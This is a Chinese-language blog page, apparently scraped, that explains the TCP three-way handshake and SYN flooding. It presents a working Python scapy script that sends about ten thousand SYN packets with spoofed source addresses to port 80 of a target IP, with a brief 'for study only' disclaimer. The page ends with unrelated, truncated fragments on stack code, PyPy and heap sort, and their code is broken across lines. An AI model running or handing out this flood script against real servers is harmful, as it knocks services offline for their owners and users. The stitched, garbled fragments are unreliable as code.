用python實現SYN Flooding攻擊

2021-08-19 04:21:15 字數 1224 閱讀 7510

作業裡的**,直接這裡copy在這裡記錄一下。

在tcp/ip協議中,當客戶端試著與伺服器間建立tcp連線時,正常情況下客戶端與伺服器端進行tcp三次握手:

1. 客戶端通過傳送syn同步(synchronize)資訊到伺服器要求建立連線。

2. 伺服器通過響應客戶端syn-ack以抄收(acknowledge)請求。

3. 客戶端答應ack,連線隨之建立。

當開放了乙個tcp埠後,該埠就處於listening狀態,不停地監視發到該埠的syn報文,一 旦接收到client發來的syn報文,就需要為該請求分配乙個tcb(transmission control block),通常乙個tcb至少需要280個位元組,在某些作業系統中tcb甚至需要1300個位元組,並返回乙個syn ack命令,立即轉為syn-received即半開連線狀態,而某些作業系統在sock的實現上最多可開啟512個半開連線。如果惡意的向某個伺服器端口傳送大量的syn包,則可以使伺服器開啟大量的半開連線,分配tcb,從而消耗大量的伺服器資源,同時也使得正常的連線請求無法被相應。而攻擊發起方的資源消耗相比較可忽略不計。

本**中發了一萬個syn包,源ip位址是從10.200.101.3到255(可根據需要更改)隨機選取的,源埠在49512到65535範圍內,目標ip為10.200.101.2,目標埠為80。

以上資訊都可以根據實際需求更改。

此**僅供交流和學習,請勿用於攻擊他人和商業行為,違者後果自負。

python**:

# author: quarter26

from

scapy.all

import*

import random

for i in

range(0,9999):

random_ip=

'10.'

+'200.'

+'101.'

+str(random.randrange(0,255))

random_sport=random.randrange(49512,65535)

ip=ip(src

=random_ip, dst

='10.200.101.2')

pkt=tcp(sport

=random_sport, dport

=80, flags

='s', seq

=11111)

synpacket=(ip/pkt)

send(synpacket)

用python實現棧 Python實現棧的方法

usr bin env python 定義乙個列表來模擬棧 stack def pu 出棧,用到了pop 函式 def popit if len stack 0 print cannot pop from an empty stack else print removed stack.pop 編歷棧...

pypy 用python實現的python

pypy 分為兩部分 乙個 python 的實現 和 乙個編譯器 pypy provides infrastructure for building interpreters in r python.this infrastructure makes it much easier than star...

用python實現堆排序

一 概念 將剩餘的堆繼續調整為最大堆,具體過程在第二塊有介紹,以遞迴實現 剩餘部分調整為最大堆後,再次將堆頂的最大數取出,再將剩餘部分調整為最大堆,這個過程持續到剩餘數只有乙個時結束 coding utf 8 author alex li import time,random defsift dow...